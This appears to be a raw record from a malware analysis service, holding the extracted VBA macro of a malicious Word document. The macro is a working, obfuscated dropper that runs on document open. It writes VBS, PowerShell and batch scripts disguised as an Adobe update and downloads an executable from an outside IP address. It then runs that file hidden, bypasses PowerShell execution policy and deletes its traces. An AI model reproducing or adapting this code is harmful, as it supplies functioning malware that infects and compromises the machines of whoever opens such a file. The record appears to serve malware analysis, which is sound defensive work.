\"ML2.X\" + Chr(34) + \"+\" + Chr(34) + \"MLH\" + Chr(34) + \"+\" + Chr(34) + \"T\" + Chr(34) + \"+\" + Chr(34) + \"T\" + Chr(34) + \"+\" + \"Chr(80)\"","Print #FileNumber, \"Set objXML\" + \"H\" + Chr(Asc(\"T\")) + \"TP = C\" + \"reate\" + Chr(Asc(\"O\")) + \"bject(khdfu)\"","Print #FileNumber, \"objXMLHTTP.open \" + Chr(34) + \"GET\" + Chr(34) + \"","strRT","False\"","JASHDJK = \"send()\"","Print #FileNumber, \"objXMLHTTP.\" + JASHDJK + \" \"","Print #FileNumber, \"If objXMLHTTP.Status = 200 Then\" + \"\" & \"\"","Print #FileNumber, \"uwqhda = \" + Chr(34) + \"ADODB.\" + Chr(34)","Print #FileNumber, \"Set objADOStream = C\" + \"reateO\" + \"bject(uwqhda+Chr(Sgn(-4)+84)+\" + Chr(34) + \"tream\" + Chr(34) + \")\"","","Print #FileNumber, \"objADOStream.Open \"","Print #FileNumber, \"objADOStream.Type = 1\"","Print #FileNumber, \"objADOStream.Write objXMLHTTP.Re\" + \"\" + \"sp\" + \"onse\" + \"Body \"","Print #FileNumber, \"objADOStream.Position = 0 \"","Print #FileNumber, \"objADOStream.S\" & \"aveToF\" & \"ile st\" & \"rT\" & \"ecation \" + \"\"","Print #FileNumber, \"objADOStream.Close \"","Print #FileNumber, \"Set objADOStream = Nothing \"","Print #FileNumber, \"End if \"","Print #FileNumber, \"Set objXMLHTTP = Nothing\"","Print #FileNumber, \"Set objShell \" & \"=\" + \" \" + Chr(Asc(\"C\")) + \"reate\" + \"O\" + \"bject(\" + Chr(34) + \"W\" + \"S\" + \"cript.\" + \"S\" + \"hell\" + Chr(34) + \")\" + \"\" & \"\"","Print #FileNumber","\"\"","Close #FileNumber","","WaitFor (1)","","ASKJD = TRT","retVal = Shell(ASKJD, 0)","","End If","","","If (winver > 5.5) Then","Open MY_FILENDIR For Output As #FileNumber","Print #FileNumber","\"$down = \" + Chr(Asc(\"N\")) & \"ew\" & \"-\" & Chr(79) & \"bject \" & Chr(Asc(Chr(Asc(\"S\")))) & \"y\" & \"stem.\" & Chr(78) & \"et.\" & Chr(87) & \"eb\" & \"Cli\" & \"ent;\"","Print #FileNumber","\"$url = '\" + Chr(Asc(Chr(Asc(\"h\")))) + Chr(Asc(Chr(Asc(\"t\")))) + Chr(Asc(\"t\")) + Chr(Asc(Chr(Asc(\"p\")))) + \"://91.220.131\" + JASHDUIQWHDKJQAD & \".e\" & \"x\" + \"e';\"","Print #FileNumber","\"$file = 'c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\\\" + \"4\" & \"44.\" + Chr(101) & \"xe';\"","Print #FileNumber","\"$down.headers[\" + Chr(39) + \"User-Agent\" + Chr(39) + \"] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf\" & \"ari/600.1.25'\" + \"+''\" + \"\" + \";\"","Print #FileNumber","\"$d\" + \"o\" & Chr(Asc(\"w\")) + \"n\" & \".\" & Chr(68) & \"ow\" & \"nloa\" & \"dFi\" & \"le($u\" & \"rl,$\" & \"file);\"","Print #FileNumber","\"$ScriptDir = $MyInvocation.ScriptName;\"","Print #FileNumber","\"$someFilePath = 'c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\\\" + \"444.e\" & Chr(Asc(\"x\")) + \"e\" & \"';\"","","Print #FileNumber","\"$vbsFilePath = 'c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\\\" + VBT2 + Chr(39) + Chr(43) + Chr(39) + \".\" + Chr(39) + Chr(43) + Chr(39) + \"v\" + Chr(39) + Chr(43) + Chr(39) + \"bs\" + Chr(39) + \";\"","Print #FileNumber","\"$b\" + \"a\" + \"tFilePath = 'c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\\\" + BART2; Chr(39) + Chr(43) + Chr(39) + \".\" + Chr(39) + Chr(43) + Chr(39) + \"b\" + Chr(39) + Chr(43) + Chr(39) + \"at\" + Chr(39) + \";\"","Print #FileNumber","\"$p\" + \"sFilePath = 'c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\\\" + PST2 + Chr(39) + Chr(43) + Chr(39) + \".\" + Chr(39) + Chr(43) + Chr(39) + \"p\" + Chr(39) + Chr(43) + Chr(39) + \"s1\" + Chr(39) + \";\"","","Print #FileNumber","\"Start-Sleep -s 15;\"","Print #FileNumber","\"c\" & Chr(109) & \"d.e\" & Chr(120) & \"e /c 'c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\" + \"\\444.e\" & Chr(120) & \"e'; \"","Print #FileNumber","\"$file1 = gci $\" + \"v\" + \"b\" + \"sFilePath -Force\"","Print #FileNumber","\"$file2 = gci $\" + \"b\" + \"a\" + \"t\" + \"FilePath -Force\"","Print #FileNumber","\"$file3 = gci $\" + \"p\" + \"s\" + \"F\" + \"ilePath -Force\"","Print #FileNumber","\"If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }\"","Print #FileNumber","\"If (Test-Path $batFilePath){ Remove-Item $batFilePath }\"","Print #FileNumber","\"$psHello = 'aisdjhiqowhdiq';\"","Print #FileNumber","\"If (Test-Path $someFilePath){ Remove-Item $someFilePath }\"","Print #FileNumber","\"Remove-Item $MyINvocation.InvocationName\"","Close #FileNumber","","Open MY_FILDIR For Output As #FileNumb","Print #FileNumb","\"Dim dff\"","Print #FileNumb","\"dff = 68\"","Print #FileNumb","\"c\" & \"ur\" & Chr(Asc(\"r\")) & \"ent\" + Chr(Asc(\"D\")) + \"irec\" + \"tory = left(WSc\" & \"ript.ScriptFullName,\" & \"(L\" + \"en(W\" + \"S\" + \"cri\" + \"pt.Sc\" + \"riptFullName))-(len(W\" + \"Sc\" + \"ript.ScriptName)))\"","Print #FileNumb","\"S\" & \"et o\" & \"bj\" & Chr(Asc(\"F\")) & \"SO=C\" & \"re\" & \"at\" & \"eO\" & \"b\" & \"je\" & \"ct(\" & Chr(34) & Chr(34) & Chr(34) & \"&\" & \"S\" & Chr(34) & Chr(\"&\") & Chr(34) & \"cr\" & \"ipt\" & \"ing.F\" & \"ileS\" & \"ystem\" & \"Ob\" & \"ject\" & Chr(34) & \")\"","Print #FileNumb","\"cur\" + \"rent\" + Chr(Asc(\"F\")) + \"ile = \" & Chr(34) & \"C:\\\" & Chr(Asc(\"U\")) & \"sers\\\" + USER + \"\\AppData\\Local\\Temp\" + \"\\\" + PST2 + Chr(34) + \"&\" + Chr(34) + \".\" + Chr(34) + \"&\" + Chr(34) + \"p\" + Chr(34) + \"&\" + Chr(34) + \"s1\" + Chr(34)","Print #FileNumb","\"\" & Chr(83) & \"et \" & Chr(111) & \"bj\" & Chr(83) & \"he\" + Chr(Asc(\"l\")) + Chr(Asc(\"l\")) + \" = \" & Chr(Sgn(-4) + 68) + \"reate\" & Chr(79) & Chr(98) & \"ject(\" & Chr(34) & \"W\" & Chr(115) & \"cript.\" & Chr(115) & \"hell\" & Chr(34) & \")\" + \"\"","Print #FileNumb","\"\" & Chr(111) & \"bj\" & Chr(83) & \"hell\" & Chr(46) & Chr(82) & \"un \" & Chr(34) & \"p\" & Chr(111) & \"wer\" & Chr(83) + Chr(34) + \"+\" + Chr(34) & \"hell.e\" & Chr(120) & \"e -n\" & Chr(111) & \"exit -Exe\" & \"cutionP\" & Chr(111) & \"licy\" & \" byp\" & \"ass -n\" & Chr(111) & \"pr\" & Chr(111) & \"file -file \" & Chr(34) & \" & currentFile,0,true\"","","Print #FileNumb","\"\"","Close #FileNumb","","Open ASDASDSA For Output As #FileNs","Print #FileNs","\"@echo off\"","Print #FileNs","\"ping 1.1.2.2 -n\" & \" 2\"","Print #FileNs","\"chcp 1251\"","Print #FileNs","\":csakclasjdklas\"","Print #FileNs","\"set Var1=\" + Chr(34) + \".\" + Chr(34)","Print #FileNs","\"set Var2=\" + Chr(34) + \"v\" + Chr(34)","Print #FileNs","\"set Var3=\" + Chr(34) + \"bs\" + Chr(34)","Print #FileNs","\"set Var4=\" + Chr(34) & \"c:\\Users\\\" + USER + \"\\AppData\\Local\\Temp\" + \"\\\" + VBT2 + Chr(34)","Print #FileNs","\"c\" & \"sc\" & \"ri\" & \"pt\" & Chr(46) + Chr(101) & Chr(120) & \"e \" & \"%Var4%\" + \"%Var1%%Var2%%Var3%\"","Print #FileNs","\"exit\"","Close #FileNs","","SetAttr MY_FILENDIR","vbNormal","SetAttr ASDASDSA","vbNormal","SetAttr MY_FILDIR","vbNormal","","WaitFor (1)","SJAKLD = ASDASDSA","retVal = Shell(SJAKLD, 0)","End If","","","findTest","secondTest","For Each myStoryRange In ActiveDocument.StoryRanges","With myStoryRange.Find",".Text = \"<\" & \"sel\" & \"ect>\"",".Replacement.Text = \" \"",".Wrap = wdFindContinue",".Execute Replace:=wdReplaceAll","End With","Next myStoryRange","","For Each myStoryRange In ActiveDocument.StoryRanges","With myStoryRange.Find",".Text = \"</s\" & \"ele\" & \"ct>\"",".Replacement.Text = \" \"",".Wrap = wdFindContinue",".Execute Replace:=wdReplaceAll","End With","Next myStoryRange","","For Each myStoryRange In ActiveDocument.StoryRanges","With myStoryRange.Find",".Text = \"<\" & \"in\" & \"box>\"",".Replacement.Text = \" \"",".Wrap = wdFindContinue",".Execute Replace:=wdReplaceAll","End With","Next myStoryRange","","For Each myStoryRange In ActiveDocument.StoryRanges","With myStoryRange.Find",".Text = \"</\" & \"in\" & \"box>\"",".Replacement.Text = \" \"",".Wrap = wdFindContinue",".Execute Replace:=wdReplaceAll","End With","Next myStoryRange","","","End Sub","Sub WaitFor(NumOfSeconds As Long)","Dim SngSec As Long","SngSec = Timer + NumOfSeconds","","Do While Timer < SngSec","DoEvents","Loop","","End Sub","","Sub AutoOpen()","Auto_Open","End Sub","Sub Workbook_Open()","Auto_Open","End Sub","Sub findTest()","Dim firstTerm As String","Dim secondTerm As String","Dim rrtt As Range","Dim selRange As Range","Dim selectedText As String","UYAS = \"\"","Set rrtt = ActiveDocument.Range","firstTerm = \"\" + \"<\" + \"s\" + \"e\" & \"le\" + \"ct>\" + UYAS + \"\"","secondTerm = \"<\" + \"/\" + \"se\" + \"l\" & \"ec\" + \"t>\"","ASKASAIEJ = \"ask as8d j dnkjh12kh1 sad\"","With rrtt.Find",".Text = firstTerm",".MatchWholeWord = True",".Execute","ASKUKKIEJ = \"aasdlkasjdask as8d j dnkjh12kh1 sad\"","rrtt.Collapse direction:=wdCollapseEnd","Set selRange = ActiveDocument.Range","selRange.Start = rrtt.End",".Text = secondTerm",".MatchWholeWord = True",".Execute","ASKSASADW = \"asjldklas\"","rrtt.Collapse direction:=wdCollapseStart","selRange.End = rrtt.Start","selectedText = selRange.Delete","End With","End Sub","","Sub secondTest()","Dim firstTerm As String","Dim secondTerm As String","Dim myRanget As Range","Dim yytt As Range","Dim selRanget As Range","Dim selectedTextt As String","","Set yytt = ActiveDocument.Range","SKHDAJKHASJ = \"aslkdjk sadksaj ksaljd klsajd ksajd KSJDKASL JD\"","firstTerm = \"<\" + \"in\" & \"bo\" + \"x>\"","secondTerm = \"</\" + \"in\" & \"bo\" + \"x>\"","With yytt.Find",".Text = firstTerm",".MatchWholeWord = True",".Execute","ASKIEJ = \"ask as8d j dnkjh12kh1 sad\"","yytt.Collapse direction:=wdCollapseEnd","","Set selRanget = ActiveDocument.Range","selRanget.Start = yytt.End",".Text = secondTerm",".MatchWholeWord = True",".Execute","","yytt.Collapse direction:=wdCollapseStart","selRanget.End = yytt.Start","selectedTextt = selRanget","selRanget.Font.Color = wdColorBlack","End With","End Sub\", File \"UserForm1.frm\" (Streampath: \"Macros/VBA/UserForm1\") has code: \"\""],"description_v3":[{"type":"text","value":"File \"ThisDocument.cls\" (Streampath: \"Macros/VBA/ThisDocument\") has code: \"Sub Auto_Open()"},{"type":"linebreak"},{"type":"text","value":"h"},{"type":"linebreak"},{"type":"text","value":"End Sub"},{"type":"linebreak"},{"type":"text","value":"Sub h()"},{"type":"linebreak"},{"type":"text","value":"Dim MY_FILENDIR, ASDASDSA, MY_FILDIR, XPFILEDIR, JAISODJAS"},{"type":"linebreak"},{"type":"text","value":"ds = 100"},{"type":"linebreak"},{"type":"text","value":"USER = Environ$(\"\" & Chr(Asc(Chr(ds + 17))) + \"s\" & \"er\" & \"na\" & \"me\")"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"jks = ds"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"PST2 = \"\" & \"a\" + \"do\" & \"be\" & \"ac\" & \"d-u\" & \"pd\" & \"a\" & \"te\" & \"\""},{"type":"linebreak"},{"type":"text","value":"VBT2 = \"\" & \"a\" + Chr(100) + \"o\" & \"b\" & \"ea\" & \"cd-up\" & \"da\" & \"te\" & \"\""},{"type":"linebreak"},{"type":"text","value":"VBTXP2 = \"\" & \"a\" & Chr(100) & \"o\" & \"be\" + \"ac\" & \"d-u\" + \"pd\" + \"atex\" + \"p\" & \"\""},{"type":"linebreak"},{"type":"text","value":"BART2 = \"\" & \"a\" + Chr(100) & \"o\" & \"b\" & \"e\" + \"ac\" & \"d-up\" + \"date\" & \"\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"PST1 = PST2 + \".\" + Chr(Asc(\"p\")) + Chr(ds + 15) + \"1\""},{"type":"linebreak"},{"type":"text","value":"VBT1 = VBT2 + \".\" + Chr(118) + \"b\" + Chr(Asc(\"s\")) + \"\""},{"type":"linebreak"},{"type":"text","value":"VBTXP = VBTXP2 + \".\" + Chr(Asc(\"v\")) + Chr(Asc(\"b\")) + \"s\" + \"\""},{"type":"linebreak"},{"type":"text","value":"BART = BART2 + Chr(Abs(46)) + Chr(Abs(98)) + Chr(Asc(Chr(Asc(\"a\")))) + Chr(Asc(Chr(ds + 16))) + \"\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"JSIQOJQ = BART2 + Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98)) + Chr(Asc(Chr(Abs(ds / 2 + 47)))) + Chr(Asc(Chr(ds + Fix(16.2)))) + \"\" & \"\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"BART = JSIQOJQ"},{"type":"linebreak"},{"type":"text","value":"MY_FILENDIR = \"c:\\\" + Chr(Asc(\"U\")) + \"sers\\\" + USER + \"\\AppData\\Local\\Temp\\\" + PST1 + \"\" & \"\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"ASDASDSA = \"c:\\\" + Chr(Asc(\"U\")) + \"sers\\\" + USER + \"\\App\" + Chr(Asc(\"D\")) + \"ata\\Local\\\" + Chr(Asc(\"T\")) + \"emp\\\" + BART"},{"type":"linebreak"},{"type":"text","value":"MY_FILDIR = \"%TEMP%\\\" + VBT1 + \"\""},{"type":"linebreak"},{"type":"text","value":"XPFILEDIR = \"c:\\Windows\\Temp\\\" + VBTXP"},{"type":"linebreak"},{"type":"text","value":"TRT = \"c:\\Windows\\Temp\\\" + BART"},{"type":"linebreak"},{"type":"text","value":"KRT = TRT"},{"type":"linebreak"},{"type":"text","value":"HYF = KRT"},{"type":"linebreak"},{"type":"text","value":"NUWHDGJS = HYF"},{"type":"linebreak"},{"type":"text","value":"JASHDUIQWHDKJQAD = \".44/upd/install\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"On Error Resume Next"},{"type":"linebreak"},{"type":"text","value":"SetAttr MY_FILENDIR, vbNormal"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"If (Len(Dir(MY_FILENDIR)) <> 0) Then"},{"type":"linebreak"},{"type":"text","value":"Kill MY_FILENDIR"},{"type":"linebreak"},{"type":"text","value":"End If"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"On Error Resume Next"},{"type":"linebreak"},{"type":"text","value":"SetAttr ASDASDSA, vbNormal"},{"type":"linebreak"},{"type":"text","value":"If (Dir(ASDASDSA) <> \"\") Then"},{"type":"linebreak"},{"type":"text","value":"Kill ASDASDSA"},{"type":"linebreak"},{"type":"text","value":"End If"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"On Error Resume Next"},{"type":"linebreak"},{"type":"text","value":"SetAttr MY_FILDIR, vbNormal"},{"type":"linebreak"},{"type":"text","value":"If (Dir(MY_FILDIR) <> \"\") Then"},{"type":"linebreak"},{"type":"text","value":"Kill MY_FILDIR"},{"type":"linebreak"},{"type":"text","value":"End If"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"On Error Resume Next"},{"type":"linebreak"},{"type":"text","value":"SetAttr XPFILEDIR, vbNormal"},{"type":"linebreak"},{"type":"text","value":"If (Dir(XPFILEDIR) <> \"\") Then"},{"type":"linebreak"},{"type":"text","value":"Kill XPFILEDIR"},{"type":"linebreak"},{"type":"text","value":"End If"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Dim retVal As Variant"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"FileNumber = FreeFile"},{"type":"linebreak"},{"type":"text","value":"FileNumb = FreeFile"},{"type":"linebreak"},{"type":"text","value":"FileNu = FreeFile"},{"type":"linebreak"},{"type":"text","value":"FileNukk = FreeFile"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"FileNs = FreeFile"},{"type":"linebreak"},{"type":"text","value":"Kasdwq = FreeFile"},{"type":"linebreak"},{"type":"text","value":"FileNuG = FreeFile"},{"type":"linebreak"},{"type":"text","value":"Dim objWMIService As Variant"},{"type":"linebreak"},{"type":"text","value":"Dim colOperatingSystems As Variant"},{"type":"linebreak"},{"type":"text","value":"Dim objOperatingSystem As Variant"},{"type":"linebreak"},{"type":"text","value":"Set objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\\" & \".\\root\\cimv2\")"},{"type":"linebreak"},{"type":"text","value":"Set colOperatingSystems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")"},{"type":"linebreak"},{"type":"text","value":"For Each objOperatingSystem In colOperatingSystems"},{"type":"linebreak"},{"type":"text","value":"SysReport = SysReport & \"The operating system on this computer is \" & _"},{"type":"linebreak"},{"type":"text","value":"objOperatingSystem.Caption & \" (\" & objOperatingSystem.Version & \")\""},{"type":"linebreak"},{"type":"text","value":"Next"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Set objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\\" & \".\\root\\cimv2\")"},{"type":"linebreak"},{"type":"text","value":"Set colOperatingSystems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")"},{"type":"linebreak"},{"type":"text","value":"For Each objOperatingSystem In colOperatingSystems"},{"type":"linebreak"},{"type":"text","value":"winverstr = objOperatingSystem.Version"},{"type":"linebreak"},{"type":"text","value":"Next"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"winver = Val(winverstr)"},{"type":"linebreak"},{"type":"text","value":"WaitFor (1)"},{"type":"linebreak"},{"type":"text","value":"jskw = winver"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"If (jskw <= 5.5) Then"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Open NUWHDGJS For Output As #Kasdwq"},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"@echo off\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \":pinkator\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"pin\" + \"g 1.3.1.2 -n\" & \" 2\" + \"\""},{"type":"linebreak"},{"type":"text","value":"LKASHDUIQWHQUDKNBWQKJDHQ = \"sakdj lksajds\" + \"sakdj sakjd sakhd jhqwiudhquid gughg\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"c\" & \"s\" + \"c\" & \"ri\" & \"pt\" & \".e\" & Chr(120) & \"e \" & Chr(34) & \"c:\\Windows\\Temp\" + \"\\\" + VBTXP + Chr(34) + \"\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"pin\" + \"g 2.2.1.1 -n\" & \" 2\" + \"\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"\" & \":windows\""},{"type":"linebreak"},{"type":"text","value":"AIYDHLKASHDUIQWHQUDKNBWQKJDHQ = \"qwe23r32sakdj sdqwlksajds\" + \"sakdj sakjd sakhd jhqwiudhquid gughg\""},{"type":"linebreak"},{"type":"text","value":"WQJHLKASHDUIQWHQUDKNBWQKJDHQ = \"sa3244tgfdkdj lksajds\" + \"sakdj sakjd sakhd jhqwiudhquid gughg\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"c:\\W\" + \"indows\\Te\" + \"mp\\444\" + \".\" + Chr(Asc(\"e\")) + Chr(Asc(\"x\")) + Chr(Asc(\"e\"))"},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \":loop\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"pin\" + \"g 1.3.1.2 -n\" & \" 1\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"set tar1=\" + Chr(34) + BART + Chr(33 + 1)"},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"del \" + Chr(34) + \"c:\\Windows\\Temp\\\" + VBTXP + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"del \" + Chr(34) + \"c\" & \":\\\" & \"W\" & \"ind\" & \"ows\\T\" & \"em\" & \"p\\\" + Chr(34) + \"%tar1%\" + \"\" & \"\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"if \" + \"exist \" + Chr(34) + \"c:\\W\" + \"indows\\T\" + \"emp\\\" + Chr(34) + \"%tar1%\" + \" goto loop\" + \"\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"if \" + \"exist \" + Chr(34) + \"c:\\W\" + \"indows\\T\" + \"emp\\\" + VBTXP + Chr(34) + \" goto loop\""},{"type":"linebreak"},{"type":"text","value":"Print #Kasdwq, \"exit\""},{"type":"linebreak"},{"type":"text","value":"Close #Kasdwq"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"WaitFor (2)"},{"type":"linebreak"},{"type":"text","value":"mttt = 88"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"Open XPFILEDIR For Output As #FileNumber"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"strRT = \" + Chr(34) + \"h\" + Chr(Asc(Chr(Asc(\"t\")))) + \"t\" + \"p\" + \"://91.220.131\" + JASHDUIQWHDKJQAD + \".\" + Chr(Asc(\"e\")) + Chr(Asc(\"x\")) + \"e\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"jfeuygq = \" + Chr(34) + \"4.e\" + Chr(34) + \"+\" + Chr(34) + \"xe\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"strTecation = \" + Chr(34) + \"c:\\\" + Chr(Asc(\"W\")) + \"indows\\\" + Chr(Asc(\"T\")) + \"emp\\44\" + Chr(34) + \"+\" + \"jfeuygq\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"khdfu =\" + Chr(34) + \"M\" + Chr(34) + \"+\" + Chr(34) + \"SX\" + Chr(34) + \"+\" + Chr(34) + \"ML2.X\" + Chr(34) + \"+\" + Chr(34) + \"MLH\" + Chr(34) + \"+\" + Chr(34) + \"T\" + Chr(34) + \"+\" + Chr(34) + \"T\" + Chr(34) + \"+\" + \"Chr(80)\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"Set objXML\" + \"H\" + Chr(Asc(\"T\")) + \"TP = C\" + \"reate\" + Chr(Asc(\"O\")) + \"bject(khdfu)\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objXMLHTTP.open \" + Chr(34) + \"GET\" + Chr(34) + \""},{"type":"linebreak"},{"type":"text","value":"strRT"},{"type":"linebreak"},{"type":"text","value":"False\""},{"type":"linebreak"},{"type":"text","value":"JASHDJK = \"send()\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objXMLHTTP.\" + JASHDJK + \" \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"If objXMLHTTP.Status = 200 Then\" + \"\" & \"\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"uwqhda = \" + Chr(34) + \"ADODB.\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"Set objADOStream = C\" + \"reateO\" + \"bject(uwqhda+Chr(Sgn(-4)+84)+\" + Chr(34) + \"tream\" + Chr(34) + \")\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objADOStream.Open \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objADOStream.Type = 1\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objADOStream.Write objXMLHTTP.Re\" + \"\" + \"sp\" + \"onse\" + \"Body \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objADOStream.Position = 0 \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objADOStream.S\" & \"aveToF\" & \"ile st\" & \"rT\" & \"ecation \" + \"\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"objADOStream.Close \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"Set objADOStream = Nothing \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"End if \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"Set objXMLHTTP = Nothing\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber, \"Set objShell \" & \"=\" + \" \" + Chr(Asc(\"C\")) + \"reate\" + \"O\" + \"bject(\" + Chr(34) + \"W\" + \"S\" + \"cript.\" + \"S\" + \"hell\" + Chr(34) + \")\" + \"\" & \"\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"\""},{"type":"linebreak"},{"type":"text","value":"Close #FileNumber"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"WaitFor (1)"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"ASKJD = TRT"},{"type":"linebreak"},{"type":"text","value":"retVal = Shell(ASKJD, 0)"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"End If"},{"type":"linebreak"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"If (winver > 5.5) Then"},{"type":"linebreak"},{"type":"text","value":"Open MY_FILENDIR For Output As #FileNumber"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$down = \" + Chr(Asc(\"N\")) & \"ew\" & \"-\" & Chr(79) & \"bject \" & Chr(Asc(Chr(Asc(\"S\")))) & \"y\" & \"stem.\" & Chr(78) & \"et.\" & Chr(87) & \"eb\" & \"Cli\" & \"ent;\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$url = '\" + Chr(Asc(Chr(Asc(\"h\")))) + Chr(Asc(Chr(Asc(\"t\")))) + Chr(Asc(\"t\")) + Chr(Asc(Chr(Asc(\"p\")))) + \"://91.220.131\" + JASHDUIQWHDKJQAD & \".e\" & \"x\" + \"e';\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$file = 'C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\\" + \"4\" & \"44.\" + Chr(101) & \"xe';\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$down.headers[\" + Chr(39) + \"User-Agent\" + Chr(39) + \"] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf\" & \"ari/600.1.25'\" + \"+''\" + \"\" + \";\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$d\" + \"o\" & Chr(Asc(\"w\")) + \"n\" & \".\" & Chr(68) & \"ow\" & \"nloa\" & \"dFi\" & \"le($u\" & \"rl,$\" & \"file);\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$ScriptDir = $MyInvocation.ScriptName;\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$someFilePath = 'C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\\" + \"444.e\" & Chr(Asc(\"x\")) + \"e\" & \"';\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$vbsFilePath = 'C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\\" + VBT2 + Chr(39) + Chr(43) + Chr(39) + \".\" + Chr(39) + Chr(43) + Chr(39) + \"v\" + Chr(39) + Chr(43) + 